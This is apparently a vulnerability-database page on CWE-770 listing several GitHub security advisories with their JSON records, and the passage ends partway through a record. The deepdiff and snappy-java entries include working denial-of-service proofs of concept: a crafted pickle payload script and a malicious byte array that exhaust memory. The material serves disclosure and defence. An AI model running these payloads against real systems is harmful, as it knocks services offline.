CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3028 vulnerabilities reference this CWE, most recent first.
GHSA-54CV-CHRV-X9H9
Vulnerability from github – Published: 2025-08-12 12:30 – Updated: 2025-08-12 12:30A vulnerability has been identified in SIPROTEC 5 6MD84 (CP300) (All versions < V10.0), SIPROTEC 5 6MD85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 6MD86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 6MD89 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 6MU85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7KE85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SA82 (CP150) (All versions < V10.0), SIPROTEC 5 7SA86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SA87 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SD82 (CP150) (All versions < V10.0), SIPROTEC 5 7SD86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SD87 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SJ81 (CP150) (All versions < V10.0), SIPROTEC 5 7SJ82 (CP150) (All versions < V10.0), SIPROTEC 5 7SJ85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SJ86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SK82 (CP150) (All versions < V10.0), SIPROTEC 5 7SK85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SL82 (CP150) (All versions < V10.0), SIPROTEC 5 7SL86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SL87 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SS85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7ST85 (CP300) (All versions < V10.0), SIPROTEC 5 7ST86 (CP300) (All versions < V10.0), SIPROTEC 5 7SX82 (CP150) (All versions < V10.0), SIPROTEC 5 7SX85 (CP300) (All versions < V10.0), SIPROTEC 5 7SY82 (CP150) (All versions < V10.0), SIPROTEC 5 7UM85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7UT82 (CP150) (All versions < V10.0), SIPROTEC 5 7UT85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7UT86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7UT87 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7VE85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7VK87 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7VU85 (CP300) (All versions < V10.0), SIPROTEC 5 Compact 7SX800 (CP050) (All versions < V10.0). Affected devices do not properly limit the bandwidth for incoming network packets over their local USB port. This could allow an attacker with physical access to send specially crafted packets with high bandwidth to the affected devices thus forcing them to exhaust their memory and stop responding to any network traffic via the local USB port. Affected devices reset themselves automatically after a successful attack. The protection function is not affected of this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2025-40570"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T12:15:35Z",
"severity": "LOW"
},
"details": "A vulnerability has been identified in SIPROTEC 5 6MD84 (CP300) (All versions \u003c V10.0), SIPROTEC 5 6MD85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 6MD86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 6MD89 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 6MU85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7KE85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SA82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SA86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SA87 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SD82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SD86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SD87 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SJ81 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SJ82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SJ85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SJ86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SK82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SK85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SL82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SL86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SL87 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SS85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7ST85 (CP300) (All versions \u003c V10.0), SIPROTEC 5 7ST86 (CP300) (All versions \u003c V10.0), SIPROTEC 5 7SX82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SX85 (CP300) (All versions \u003c V10.0), SIPROTEC 5 7SY82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7UM85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7UT82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7UT85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7UT86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7UT87 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7VE85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7VK87 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7VU85 (CP300) (All versions \u003c V10.0), SIPROTEC 5 Compact 7SX800 (CP050) (All versions \u003c V10.0). Affected devices do not properly limit the bandwidth for incoming network packets over their local USB port. This could allow an attacker with physical access to send specially crafted packets with high bandwidth to the affected devices thus forcing them to exhaust their memory and stop responding to any network traffic via the local USB port. Affected devices reset themselves automatically after a successful attack. The protection function is not affected of this vulnerability.",
"id": "GHSA-54cv-chrv-x9h9",
"modified": "2025-08-12T12:30:33Z",
"published": "2025-08-12T12:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40570"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-894058.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-54F3-C6HG-865H
Vulnerability from github – Published: 2023-12-14 18:30 – Updated: 2023-12-29 00:14An unconstrained memory consumption vulnerability was discovered in Keycloak. It can be triggered in environments which have millions of offline tokens (> 500,000 users with each having at least 2 saved sessions). If an attacker creates two or more user sessions and then open the "consents" tab of the admin User Interface, the UI attempts to load a huge number of offline client sessions leading to excessive memory and CPU consumption which could potentially crash the entire system.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-model-jpa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "21.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-6563"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-15T23:17:43Z",
"nvd_published_at": "2023-12-14T18:15:45Z",
"severity": "HIGH"
},
"details": "An unconstrained memory consumption vulnerability was discovered in Keycloak. It can be triggered in environments which have millions of offline tokens (\u003e 500,000 users with each having at least 2 saved sessions). If an attacker creates two or more user sessions and then open the \"consents\" tab of the admin User Interface, the UI attempts to load a huge number of offline client sessions leading to excessive memory and CPU consumption which could potentially crash the entire system. ",
"id": "GHSA-54f3-c6hg-865h",
"modified": "2023-12-29T00:14:20Z",
"published": "2023-12-14T18:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6563"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/issues/13340"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/pull/15463"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/commit/556146f961f7c8ddf64de15e2117a58d045f72b5"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7854"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7855"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7856"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7857"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7858"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-6563"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2253308"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Allocation of Resources Without Limits in Keycloak"
}
GHSA-54J4-X52X-WHP5
Vulnerability from github – Published: 2022-09-17 00:00 – Updated: 2022-09-22 00:00A Memory Allocation with Excessive Size Value vulnerablity in the TEE_Realloc function in Samsung mTower through 0.3.0 allows a trusted application to trigger a Denial of Service (DoS) by invoking the function TEE_Realloc with an excessive number for the parameter len.
{
"affected": [],
"aliases": [
"CVE-2022-40762"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-16T22:15:00Z",
"severity": "HIGH"
},
"details": "A Memory Allocation with Excessive Size Value vulnerablity in the TEE_Realloc function in Samsung mTower through 0.3.0 allows a trusted application to trigger a Denial of Service (DoS) by invoking the function TEE_Realloc with an excessive number for the parameter len.",
"id": "GHSA-54j4-x52x-whp5",
"modified": "2022-09-22T00:00:24Z",
"published": "2022-09-17T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40762"
},
{
"type": "WEB",
"url": "https://github.com/Samsung/mTower/issues/82"
},
{
"type": "WEB",
"url": "https://github.com/Samsung/mTower/blob/efd36709306a9afcca5b4782499d01be0c7a02a5/tee/lib/libutee/tee_api.c#L319"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-54JJ-PX8X-5W5Q
Vulnerability from github – Published: 2026-03-18 20:10 – Updated: 2026-04-14 21:59Summary
The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.
Details
CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.
It can be exploited in 2 ways.
1 - During pickle_load
A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.
GLOBAL builtins.bytes (passes find_class check — serialization.py:353)
INT 10000000000 (10 billion)
TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB
2 - During delta application
A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.
PoC
The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.
import resource
import sys
def limit_memory(maxsize_mb):
"""Cap virtual memory for this process."""
soft, hard = resource.getrlimit(resource.RLIMIT_AS)
maxsize_bytes = maxsize_mb * 1024 * 1024
try:
resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
print(f"[*] Memory limit set to {maxsize_mb} MB")
except ValueError:
print("[!] Failed to set memory limit.")
sys.exit(1)
# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load
limit_memory(1024)
# --- Delta application path ---
payload_dict = {
'values_changed': {"root['x']": {'new_value': 10**8}},
'type_changes': {"root['x']": {'new_type': bytes}},
}
payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")
target = {'x': 'anything'}
try:
result = target + Delta(payload1)
print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
# --- Raw pickle path ---
payload2 = (
b"(dp0\n"
b"S'_'\n"
b"cbuiltins\nbytes\n"
b"(I100000000\n"
b"tR"
b"s."
)
print(f"Payload size: {len(payload2)} bytes")
try:
result2 = pickle_load(payload2)
print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
Output:
[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB
Impact
Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.
The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.
Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.6.1"
},
"package": {
"ecosystem": "PyPI",
"name": "deepdiff"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "8.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33155"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T20:10:08Z",
"nvd_published_at": "2026-03-20T21:17:15Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.\n\n### Details\n\nCVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn\u0027t intercept `REDUCE` opcodes or validate what is passed to constructors.\n\nIt can be exploited in 2 ways.\n\n**1 - During `pickle_load`**\n\nA pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.\n\n```\nGLOBAL builtins.bytes (passes find_class check \u2014 serialization.py:353)\nINT 10000000000 (10 billion)\nTUPLE + REDUCE \u2192 bytes(10**10) \u2192 allocates ~9.3 GB\n```\n\n**2 - During delta application**\n\nA valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.\n\n### PoC\n\nThe script uses Python\u0027s `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.\n\n```python\nimport resource\nimport sys\n\ndef limit_memory(maxsize_mb):\n \"\"\"Cap virtual memory for this process.\"\"\"\n soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n maxsize_bytes = maxsize_mb * 1024 * 1024\n try:\n resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))\n print(f\"[*] Memory limit set to {maxsize_mb} MB\")\n except ValueError:\n print(\"[!] Failed to set memory limit.\")\n sys.exit(1)\n\n# Load heavy imports before enforcing the limit\nfrom deepdiff import Delta\nfrom deepdiff.serialization import pickle_dump, pickle_load\n\nlimit_memory(1024)\n\n# --- Delta application path ---\npayload_dict = {\n \u0027values_changed\u0027: {\"root[\u0027x\u0027]\": {\u0027new_value\u0027: 10**8}},\n \u0027type_changes\u0027: {\"root[\u0027x\u0027]\": {\u0027new_type\u0027: bytes}},\n}\n\npayload1 = pickle_dump(payload_dict)\nprint(f\"Payload size: {len(payload1)} bytes\")\n\ntarget = {\u0027x\u0027: \u0027anything\u0027}\ntry:\n result = target + Delta(payload1)\n print(f\"Allocated: {len(result[\u0027x\u0027]) // 1024 // 1024} MB\")\n print(f\"Amplification: {len(result[\u0027x\u0027]) // len(payload1)}x\")\nexcept MemoryError:\n print(\"[!] MemoryError \u2014 payload tried to allocate too much\")\n\n# --- Raw pickle path ---\npayload2 = (\n b\"(dp0\\n\"\n b\"S\u0027_\u0027\\n\"\n b\"cbuiltins\\nbytes\\n\"\n b\"(I100000000\\n\"\n b\"tR\"\n b\"s.\"\n)\n\nprint(f\"Payload size: {len(payload2)} bytes\")\ntry:\n result2 = pickle_load(payload2)\n print(f\"Allocated: {len(result2[\u0027_\u0027]) // 1024 // 1024} MB\")\nexcept MemoryError:\n print(\"[!] MemoryError \u2014 payload tried to allocate too much\")\n```\n\nOutput:\n```\n[*] Memory limit set to 1024 MB\nPayload size: 123 bytes\nAllocated: 95 MB\nAmplification: 813008x\nPayload size: 42 bytes\nAllocated: 95 MB\n```\n\n### Impact\n\nDenial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn\u0027t prevent resource exhaustion.\n\nThe amplification is large. 800,000x for delta and 2,000,000x for raw pickle.\n\nImpacted users are anyone who accepts serialized delta objects from untrusted sources \u2014 network APIs, file uploads, message queues, etc.",
"id": "GHSA-54jj-px8x-5w5q",
"modified": "2026-04-14T21:59:44Z",
"published": "2026-03-18T20:10:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/qlustered/deepdiff/security/advisories/GHSA-54jj-px8x-5w5q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33155"
},
{
"type": "WEB",
"url": "https://github.com/qlustered/deepdiff/commit/0d07ec21d12b46ef4e489383b363eadc22d990fb"
},
{
"type": "PACKAGE",
"url": "https://github.com/seperman/deepdiff"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT"
}
GHSA-54RH-PF56-C6XF
Vulnerability from github – Published: 2022-07-18 00:00 – Updated: 2022-07-26 00:00Pexip Infinity 27 before 28.0 allows remote attackers to trigger excessive resource consumption and termination because of registrar resource mishandling.
{
"affected": [],
"aliases": [
"CVE-2022-29286"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-17T22:15:00Z",
"severity": "HIGH"
},
"details": "Pexip Infinity 27 before 28.0 allows remote attackers to trigger excessive resource consumption and termination because of registrar resource mishandling.",
"id": "GHSA-54rh-pf56-c6xf",
"modified": "2022-07-26T00:00:28Z",
"published": "2022-07-18T00:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29286"
},
{
"type": "WEB",
"url": "https://docs.pexip.com/admin/security_bulletins.htm#CVE-2022-29286"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-558X-2XJG-6232
Vulnerability from github – Published: 2022-04-03 00:01 – Updated: 2023-03-28 22:26In Spring Framework versions 5.3.0 - 5.3.16, 5.2.0.RELEASE - 5.2.19.RELEASE, and older unsupported versions, it is possible for a user to provide a specially crafted SpEL expression that may cause a denial of service condition.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework:spring-expression"
},
"ranges": [
{
"events": [
{
"introduced": "5.3.0"
},
{
"fixed": "5.3.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework:spring-expression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.2.20.RELEASE"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-22950"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-05T18:46:34Z",
"nvd_published_at": "2022-04-01T23:15:00Z",
"severity": "MODERATE"
},
"details": "In Spring Framework versions 5.3.0 - 5.3.16, 5.2.0.RELEASE - 5.2.19.RELEASE, and older unsupported versions, it is possible for a user to provide a specially crafted SpEL expression that may cause a denial of service condition.",
"id": "GHSA-558x-2xjg-6232",
"modified": "2023-03-28T22:26:10Z",
"published": "2022-04-03T00:01:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22950"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-framework/issues/28145"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-framework/issues/28257"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-framework/commit/83ac65915871067c39a4fb255e0d484c785c0c11"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-projects/spring-framework"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-framework/releases/tag/v5.2.20.RELEASE"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-framework/releases/tag/v5.3.17"
},
{
"type": "WEB",
"url": "https://tanzu.vmware.com/security/cve-2022-22950"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Allocation of Resources Without Limits or Throttling in Spring Framework"
}
GHSA-55C4-H3Q7-F6WP
Vulnerability from github – Published: 2024-04-10 18:30 – Updated: 2024-04-10 18:30A memory leak exists in Palo Alto Networks PAN-OS software that enables an attacker to send a burst of crafted packets through the firewall that eventually prevents the firewall from processing traffic. This issue applies only to PA-5400 Series devices that are running PAN-OS software with the SSL Forward Proxy feature enabled.
{
"affected": [],
"aliases": [
"CVE-2024-3382"
],
"database_specific": {
"cwe_ids": [
"CWE-401",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-10T17:15:56Z",
"severity": "HIGH"
},
"details": "A memory leak exists in Palo Alto Networks PAN-OS software that enables an attacker to send a burst of crafted packets through the firewall that eventually prevents the firewall from processing traffic. This issue applies only to PA-5400 Series devices that are running PAN-OS software with the SSL Forward Proxy feature enabled.",
"id": "GHSA-55c4-h3q7-f6wp",
"modified": "2024-04-10T18:30:48Z",
"published": "2024-04-10T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3382"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2024-3382"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-55G7-9CWV-5QFV
Vulnerability from github – Published: 2023-09-25 18:30 – Updated: 2023-09-25 21:43Summary
snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur.
Scope
All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4
Details
While performing mitigation efforts related to CVE-2023-34455 in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in this commit. The check on line 421 only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually attempting to allocate the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs.
PoC
Compile and run the following code:
package org.example;
import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
try {
in.read(out);
}
catch (Exception ignored) {
}
}
}
Impact
Denial of Service of applications dependent on snappy-java especially if ExitOnOutOfMemoryError or CrashOnOutOfMemoryError is configured on the JVM.
Credits
Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team.
We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.10.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.xerial.snappy:snappy-java"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-43642"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-25T18:30:18Z",
"nvd_published_at": "2023-09-25T20:15:11Z",
"severity": "HIGH"
},
"details": "### Summary\n\nsnappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. \n\n### Scope\n\nAll versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4\n\n### Details\nWhile performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the \u201cchunkSize\u201d variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs.\n\n### PoC\nCompile and run the following code:\n```\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n byte[] data = {-126, \u0027S\u0027, \u0027N\u0027, \u0027A\u0027, \u0027P\u0027, \u0027P\u0027, \u0027Y\u0027, 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n byte[] out = new byte[50];\n try {\n in.read(out);\n }\n catch (Exception ignored) {\n }\n }\n}\n```\n\n### Impact\nDenial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM.\n\n### Credits\nJan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent\u0027s Application Security team. \n\nWe kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability.",
